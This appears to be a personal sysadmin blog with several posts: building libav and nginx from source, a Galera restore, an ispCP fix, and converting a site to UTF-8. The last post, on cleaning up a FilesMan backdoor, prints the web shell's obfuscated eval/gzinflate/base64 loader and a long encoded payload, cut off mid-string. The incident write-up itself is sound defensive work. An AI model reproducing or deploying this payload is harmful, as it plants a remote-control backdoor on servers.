install avconv 11.11 from source in Ubuntu 14.04

0

You can Install from PPA
but this not updated since version 11.3 (2015-04-13)

You can update your system with unsupported packages from this untrusted PPA by adding ppa:heyarje/libav-11 to your system’s Software Sources. (Read about installing)

add-apt-repository ppa:heyarje/libav-11
apt-get update
apt-get install libav-tools

So, You may need to Compile it yourself.

First, Installing prerequisite files

apt-get install build-essential frei0r-plugins-dev libasound2-dev libbz2-dev libcdio-cdda-dev libcdio-dev libcdio-paranoia-dev libdc1394-22-dev libfreetype6-dev libgnutls28-dev libgsm1-dev libjack-dev libmp3lame-dev libopencore-amrnb-dev libopencore-amrwb-dev libopencv-dev libopenjpeg-dev libopus-dev libpulse-dev libraw1394-dev librtmp-dev libschroedinger-dev libsdl1.2-dev libspeex-dev libtheora-dev libtiff-dev libva-dev libvdpau-dev libvo-aacenc-dev libvo-amrwbenc-dev libvorbis-dev libvpx-dev libx11-dev libx264-dev libxext-dev libxfixes-dev libxvidcore-dev libxvmc-dev texi2html yasm zlib1g-dev libfdk-aac-dev

Installing avconv from source

wget https://libav.org/releases/libav-11.11.tar.gz –no-check-certificate

tar zxvf libav-11.11.tar.gz

cd libav-11.11/

./configure –arch=’amd64′ –enable-pthreads –enable-runtime-cpudetect –extra-version=’1:11.11-1′ –libdir=/usr/lib/x86_64-linux-gnu –prefix=/usr –disable-avserver –enable-bzlib –enable-libdc1394 –enable-libfreetype –enable-frei0r –enable-gnutls –enable-libgsm –enable-libmp3lame –enable-librtmp –enable-libopencv –enable-libopenjpeg –enable-libopus –enable-libpulse –enable-libschroedinger –enable-libspeex –enable-libtheora –enable-vaapi –enable-vdpau –enable-libvorbis –enable-libvpx –enable-zlib –enable-gpl –enable-swscale –enable-libcdio –enable-x11grab –enable-libx264 –enable-libxvid –enable-libopencore-amrnb –enable-version3 –enable-libopencore-amrwb –enable-version3 –enable-libvo-amrwbenc –enable-version3 –enable-libfdk-aac –enable-nonfree

make -j4 (4 cpu cores)

make install

Ref:
https://hungred.com/how-to/installing-avconv-source-ubuntu/
https://launchpadlibrarian.net/203154202/buildlog_ubuntu-trusty-amd64.libav_6%3A11.3-1~trusty_BUILDING.txt.gz

Advertisements

Galera SST Manually

0

State Snapshot Transfer

Copying data files directly Concept.
This requires that the receiving server is initialized after the transfer. xtrabackup, and other methods fall into this category. These methods are much faster than mysqldump, but they have certain limitations. For example, they can be used only on server startup and the receiving server must be configured very similarly to the donor (e.g. innodb_file_per_table should be the same and so on). Some of these methods (e.g. xtrabackup) can be potentially made non-blocking on the donor. Such methods are supported via a scriptable interface.

How to copying data files directly.

on donor server
1. create backup

innobackupex –user=user –password=password –no-timestamp /data/backups/new_backup
innobackupex –apply-log /data/backups/new_backup

2. transfer backup to crashed server

on crashed server

1. untar backup file

tar xvfz /download/backup.tar.gz

2. back up /var/lib/mysql on crash server

mkdir -p /home/crashed
mv /var/lib/mysql/* /home/crashed

3. restore backup

innobackupex –copy-back /data/backups/new_backup/

4. finally, copy grastate.dat to /var/lib/mysql and edit state to 0

mv /data/backups/new_backup/grastate.dat /var/lib/mysql
vi  grastate.dat
……
……
safe_to_bootstrap: 0

6. Start server

/etc/init.d/mysql start

[Solved] ispCP : An error occurred. Please contact your administrator

0

i have upgraded my server and can’t log in to ispCp. it show error massage

An error occurred. Please contact your administrator

Solution:

  1. set DEBUG mode

    vi /etc/ispcp/ispcp.conf
    DEBUG=1

  2. enter control panel to see what error.

    http://www.yoursite.com/ispcp/

    it’s show

    can’t load php5-mcrypt

  3. try this

    updatedb
    locate mcrypt.ini

    Should show it located at /etc/php5/mods-available

    locate mcrypt.so

    Edit mcrypt.ini and change extension to match the path to mcrypt.so, example:

    extension=/usr/lib/php5/20121212/mcrypt.so

  4. Now this

    php5enmod mcrypt

  5. Restart Apache

    service apache2 restart

  6. Restart php5 or php5-fpm

    service php5 restart

Ref: http://askubuntu.com/questions/460837/mcrypt-extension-is-missing-in-14-04-server-for-mysql

Translate website from TIS-620 to UTF-8

0

Translate database

ALTER DATABASE databasename CHARACTER SET utf8 COLLATE utf8_general_ci;
SHOW TABLES;
ALTER TABLE tablename CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;

Translate php file by shell script

#!/bin/bash
FROM=TIS-620
TO=UTF-8
ICONV="iconv -f $FROM -t $TO//IGNORE"

find /var/www/website -type f -name "*.php" | while read fn; do
 cp ${fn} ${fn}.bak
 $ICONV < ${fn}.bak > ${fn}
 rm ${fn}.bak
done

find and replace in Terminal

find /var/www/website -type f -name "*.php" -exec sed -i 's/TIS-620/UTF-8/g' {} \; 
find /var/www/website -type f -name "*.php" -exec sed -i 's/TIS620/UTF8/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/windows-874/UTF-8/g' {} \;

use mb_ in php string function

first setup default in php.ini

mb_internal_encoding = "UTF-8"
find /var/www/website -type f -name "*.php" -exec sed -i 's/strlen/mb_strlen/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/strpos/mb_strpos/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/substr/mb_substr/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/strtolower/mb_strtolower/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/ereg/mb_ereg/g' {} \;

Reference:

http://stackoverflow.com/questions/6115612/how-to-convert-an-entire-mysql-database-characterset-and-collation-to-utf-8
https://github.com/EllisLab/CodeIgniter/issues/261
http://www.thaiseoboard.com/index.php/topic,315829.0.html

Compile nginx with upload-module

0

./configure –sbin-path=/usr/sbin –conf-path=/etc/nginx/nginx.conf –with-http_gzip_static_module –group=www-data –user=www-data –pid-path=/var/run/nginx.pid –with-http_stub_status_module –error-log-path=/var/log/nginx/error.log –http-log-path=/var/log/nginx/access.log –with-http_flv_module –add-module=/usr/src/nginx_upload_module-2.2.0 –add-module=/usr/src/nginx-upload-progress-module-master
cd nginx_upload_module-2.2.0
wget http://portage.perestoroniny.ru/www-servers/nginx/files/nginx-1.3.9_upload_module.patch
patch -p0 < nginx-1.3.9_upload_module.patch

Recovering from an malware detection (FilesMan Backdoor)

0

if your computer infected virus or trojan, and you connect to ftp server.
then trojan sent your password to hacker.
unfortunately hacker upload backdoor to your website.

access.log
37.130.224.202 – – [23/May/2012:01:18:14 +0700] “POST /6/error/errors.php HTTP/1.0” 200 2762 “http://www.xxxx.com/6/error/errors.php&#8221; “Mozilla/5.0 (Windows NT 6.0; WOW64; rv:8.0.1) Gecko/20100101 Firefox/8.0.1”

find . -type f | xargs grep -l ‘FilesMan’
./6/error/errors.php

<?php

$auth_pass = “”;
$color = “#df5”;
$default_action = “FilesMan”;
$default_charset = “Windows-1251”;

** or entries similar to this **

$auth_pass = “47a85″.”6c68”.”e623468d84123?.”e87881d1e3?;
$color = “#df5?;
$default_action = “File”.’sMa’.’n’;
$default_use_ajax = true;
$default_charset = ‘Windows-’.’1251′;

preg_replace(“/.*/e”,”\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28’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